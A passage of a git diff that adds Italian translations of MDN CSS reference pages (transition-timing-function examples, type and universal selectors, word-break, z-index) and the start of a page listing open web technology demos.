+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easeout",275,150)}}</div>
+</div>
+
+<div id="ttf_easeinout" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-in-out</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easeinout",275,150)}}</div>
+</div>
+</div>
+
+<div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: linear</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+</div>
+
+<div id="ttf_stepstart" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: step-start</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-start;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-start;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-start;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-start;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_stepstart",275,150)}}</div>
+</div>
+
+<div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: step-end</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+</div>
+
+<div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: steps(4, end)</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-timing-function', 'transition-timing-function') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_tra_Browser">Compatibilità tra Browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>11.6{{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_Anche">Vedi Anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Using CSS transitions</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/it/web/css/type_selectors/index.html b/files/it/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..91e6b48de9
--- /dev/null
+++ b/files/it/web/css/type_selectors/index.html
@@ -0,0 +1,78 @@
+---
+title: Type selectors
+slug: Web/CSS/Type_selectors
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Il <strong>selettore di tipo</strong> CSS identifica gli elementi in base al nome del nodo. In altre parole, seleziona tutti gli elementi di un dato tipo entro il documento.</p>
+
+<pre class="brush: css no-line-numbers">/* Tutti gli elemnti &lt;a&gt;. */
+a {
+  color: red;
+}</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">element { <em>style properties</em> }
+</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Here's a span with some text.&lt;/span&gt;
+&lt;p&gt;Here's a p with some text.&lt;/p&gt;
+&lt;span&gt;Here's a span with more text.&lt;/span&gt;
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{EmbedLiveSample('Example', '100%', 150)}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se vorresti contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e crea una pull request.</div>
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/it/web/css/universal_selectors/index.html b/files/it/web/css/universal_selectors/index.html
new file mode 100644
index 0000000000..6c247e09da
--- /dev/null
+++ b/files/it/web/css/universal_selectors/index.html
@@ -0,0 +1,105 @@
+---
+title: Universal selectors
+slug: Web/CSS/Universal_selectors
+tags:
+  - CSS
+  - Reference
+  - Selettori
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Il <strong>selettore universale</strong> CSS (<code>*</code>) corrisponde ad elementi di qualsiasi tipo.</p>
+
+<pre class="brush: css no-line-numbers">/* Seleziona tutti gli elementi */
+* {
+  color: green;
+}</pre>
+
+<p>A partire dal CSS3, l'asterisco può essere usato in combinazione con {{cssxref("CSS_Namespaces", "namespaces")}}:</p>
+
+<ul>
+ <li><code>ns|*</code> - corrisponde a tutti gli elementi del namespace <em>ns</em></li>
+ <li><code>*|*</code> - corrisponde a tutti gli elementi</li>
+ <li><code>|*</code> - corrisponde a tutti gli elementi senza alcun namespace dichiarato</li>
+</ul>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">* { <em>style properties</em> }</pre>
+
+<p>L'asterisco è opzionale con i selettori semplici. Per esempio, <code>*.warning</code> e <code>.warning</code> sono equivalenti.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* [lang^=en] {
+  color: green;
+}
+
+*.warning {
+  color: red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left
+}
+
+/* Aggiungi clear automatico al fratello immediatamente successivo dopo un elemento flottante */
+.floating + * {
+  clear: left;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="warning"&gt;
+  &lt;span lang="en-us"&gt;Uno span verde&lt;/span&gt; in un paragrafo rosso.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="en-gb"&gt;
+  &lt;span class="warning"&gt;Uno span rosso&lt;/span&gt; in un paragrafo verde.
+&lt;/p&gt;</pre>
+
+<h3 id="Risultati">Risultati</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definisce il comportamento relativo ai namespace e aggiunge il consiglio per cui omettere il selettore sia consentito nell'ambito degli pseudo-elementi</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div class="hidden">La tabella di compatibilità di questa pagina è generata da dati strutturati. Se vorresti contribuire ai dati, per piacere visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e proponici una pull request.</div>
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/it/web/css/word-break/index.html b/files/it/web/css/word-break/index.html
new file mode 100644
index 0000000000..0af1a85bd0
--- /dev/null
+++ b/files/it/web/css/word-break/index.html
@@ -0,0 +1,131 @@
+---
+title: word-break
+slug: Web/CSS/word-break
+translation_of: Web/CSS/word-break
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Riassunto">Riassunto</h2>
+
+<p>La proprietà CSS <code>word-break</code> è usata per specificare come (e se) andare a capo in mezzo alle parole.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Sintassi Formale</a>: {{csssyntax("word-break")}}
+</pre>
+
+<pre>word-break: normal
+word-break: break-all
+word-break: keep-all
+
+word-break: inherit
+</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Usa le regole di a-capo predefinite.</dd>
+ <dt><code>break-all</code></dt>
+ <dd>Gli a-capo possono essere inseriti tra due caratteri qualsiasi nel testo non-CJK (Cinese/Giapponese/Coreano).</dd>
+ <dt><code>keep-all</code></dt>
+ <dd>Non permettere a-capo in mezzo ad una parola nei testi CJK.  Il comportamento nei testi non-CJK è lo stesso di <code>normal</code>.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>{{todo}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#word-break', 'word-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>5.5 [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>keep-all</code></td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>5.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>18.0</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>keep-all</code></td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE8 ha introdotto<code> -ms-word-break </code>come sinonimo di<code> word-break</code>. Si sconsiglia di usare il prefisso <code>-ms-</code> .</p>
+
+<p>[2] Vedi {{webkitbug("123782")}}.</p>
diff --git a/files/it/web/css/z-index/index.html b/files/it/web/css/z-index/index.html
new file mode 100644
index 0000000000..7f58297a34
--- /dev/null
+++ b/files/it/web/css/z-index/index.html
@@ -0,0 +1,192 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<div>La Proprietà CSS <strong><code>z-index</code> </strong>specifica lo z-order di un elemento <a href="/it/docs/Web/CSS/position">posizionato</a> e dei suoi discendenti. Nel caso di elementi che si sovrappongono, quelli con un valore di z-order maggiore sono sovrapposti a quelli con un valore più basso.</div>
+
+<div></div>
+
+<pre class="brush:css no-line-numbers notranslate">/* Keyword value */
+z-index: auto;
+
+/* &lt;integer&gt; values */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+z-index: -1; /* Negative values to lower the priority */
+
+/* Global values */
+z-index: inherit;
+z-index: initial;
+z-index: unset;
+</pre>
+
+<p>Per una box posizionata (ovvero con valore qualsiasi di <code>position</code> che non sia <code>static</code>) la proprietà <code>z-index</code> indica;</p>
+
+<ol>
+ <li> Il livello di sovrapposizione della box nello <a href="/en-US/docs/Glossary/Stacking_context">stacking context </a>corrente.</li>
+ <li> Se la box stabilisce uno <a href="/en-US/docs/Glossary/Stacking_context">stacking context </a>locale.</li>
+</ol>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+&lt;div class="block position1 text-top"&gt;z-index: auto&lt;/div&gt;
+&lt;div class="block position2 text-top"&gt;z-index: auto&lt;/div&gt;
+&lt;div class="block position3 text-top"&gt;z-index: auto&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container"&gt;
+&lt;div class="block position1 text-bottom" style="z-index:3"&gt;z-index: 3&lt;/div&gt;
+&lt;div class="block position2 text-bottom" style="z-index:2"&gt;z-index: 2&lt;/div&gt;
+&lt;div class="block position3 text-bottom" style="z-index:1"&gt;z-index: 1&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<div id="z-index">
+<pre class="brush: css notranslate">* {
+  box-sizing: border-box;
+}
+
+.container {
+  display: inline-block;
+  width: 250px;
+  position: relative;
+}
+
+.block {
+  width: 150px;
+  height: 75px;
+  position: absolute;
+  font-family: monospace;
+  background-color: #E5E8FC;
+  border: solid 5px #112382;
+}
+
+.text-top {
+  padding: 0.5em 0 5em .5em;
+}
+
+.text-bottom {
+  padding: 4em 0 1.5em .5em;
+}
+
+.position1 {
+  top: 0;
+  left: 0;
+}
+
+.position2 {
+  top: 30px;
+  left: 30px;
+}
+
+.position3 {
+  top: 60px;
+  left: 60px;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("z-index", 1200, 160, "", "", "example-outcome-frame")}}</p>
+
+<p>L'esempio sopra mostra l'effetto di z-index. Sulla sinistra abbiamo disegnato tre boxes, facendole sovrapporre usando <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning#Absolute_positioning">absolute positioning. </a>Per default, gli elementi sono sovrapposti seguendo l'ordine dichiarato nel codice HTML. Sulla destra abbiamo lo stesso markup, ma a differenza dell'ordine di default usiamo lo <code>z-index</code>. </p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<p>La proprieta <code>z-index</code> e' specificata anche con le chiavi <code><a href="/en-US/docs/">auto</a></code> o <code><a href="/en-US/docs/">&lt;integer&gt;</a></code>.</p>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>La box non stabilisce una nuova stacking context locale. Il livello di sovrapposizione della box generata e' lo stesso del livello di sovrapposizione del suo genitore</dd>
+ <dt><a id="&lt;integer>" name="&lt;integer>"><code>&lt;integer&gt;</code></a></dt>
+ <dd>Questo {{cssxref("&lt;integer&gt;")}} e' il livello di sovrapposizione della box generata nel corrente stacking context. La box stabilisce anche una locale stacking context in cui il suo livello di sovrapposizione e' <code>0</code>. Questo significa che gli z-indexes dei discendenti non sono confrontati con gli z-indexes degli elementi all'esterno di questo elemento.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="dashed-box"&gt;Dashed box
+  &lt;span class="gold-box"&gt;Gold box&lt;/span&gt;
+  &lt;span class="green-box"&gt;Green box&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19] notranslate">.dashed-box {
+  position: relative;
+  z-index: 1;
+  border: dashed;
+  height: 8em;
+  margin-bottom: 1em;
+  margin-top: 2em;
+}
+.gold-box {
+  position: absolute;
+  z-index: 3; /* put .gold-box above .green-box and .dashed-box */
+  background: gold;
+  width: 80%;
+  left: 60px;
+  top: 3em;
+}
+.green-box {
+  position: absolute;
+  z-index: 2; /* put .green-box above .dashed-box */
+  background: lightgreen;
+  width: 20%;
+  left: 65%;
+  top: -25px;
+  height: 7em;
+  opacity: 0.9;
+}
+</pre>
+
+<h3 id="Result"><strong>Result</strong></h3>
+
+<p>{{ EmbedLiveSample('Examples', '550', '200', '') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'animation behavior for z-index')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>z-index</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.z-index")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS {{Cssxref("position")}} property</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index">Understanding CSS z-indexes</a></li>
+</ul>
diff --git a/files/it/web/esempi_di_tecnologie_web_open/index.html b/files/it/web/esempi_di_tecnologie_web_open/index.html
new file mode 100644
index 0000000000..2244c73297
--- /dev/null
+++ b/files/it/web/esempi_di_tecnologie_web_open/index.html
@@ -0,0 +1,136 @@
+---
+title: Esempi di tecnologie web open
+slug: Web/Esempi_di_tecnologie_web_open
+translation_of: Web/Demos_of_open_web_technologies
+---
+<p class="summary">Mozilla supporta un'ampia varietà di emozionanti tecnologie web open, e noi ne incoraggiamo l'uso. In questa pagina sono contenuti collegamenti a degli interessanti esempi di queste tecnologie.</p>
+
+<p>Se sei al corrente di esempi ben fatti o di applicazioni che fanno uso di tecnologia web open, per favore aggiungi un link nella sezione appropriata.</p>
+
+<h2 id="Grafica_2D">Grafica 2D</h2>
+
+<h3 id="SVG" name="SVG">Canvas</h3>
+
+<ul>
+ <li><a href="http://www.blobsallad.se/">Blob Sallad: an interactive blob using javascript and canvas</a> (<a href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">code demos)</a></li>
+ <li><a href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Flying through space</a></li>
+ <li><a href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">3D RayCaster</a></li>
+ <li><a href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li>
+ <li><a href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li>
+ <li><a href="http://viliusle.github.io/miniPaint/">miniPaint: Image editor</a> (<a href="https://github.com/viliusle/miniPaint">source code</a>)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">SVG</h3>
+
+<ul>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (visual effects and interaction)</li>
+ <li><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using <code>foreignObject</code> (visual effects and transforms)</li>
+ <li><a href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Phonetics Guide</a> (interactive)</li>
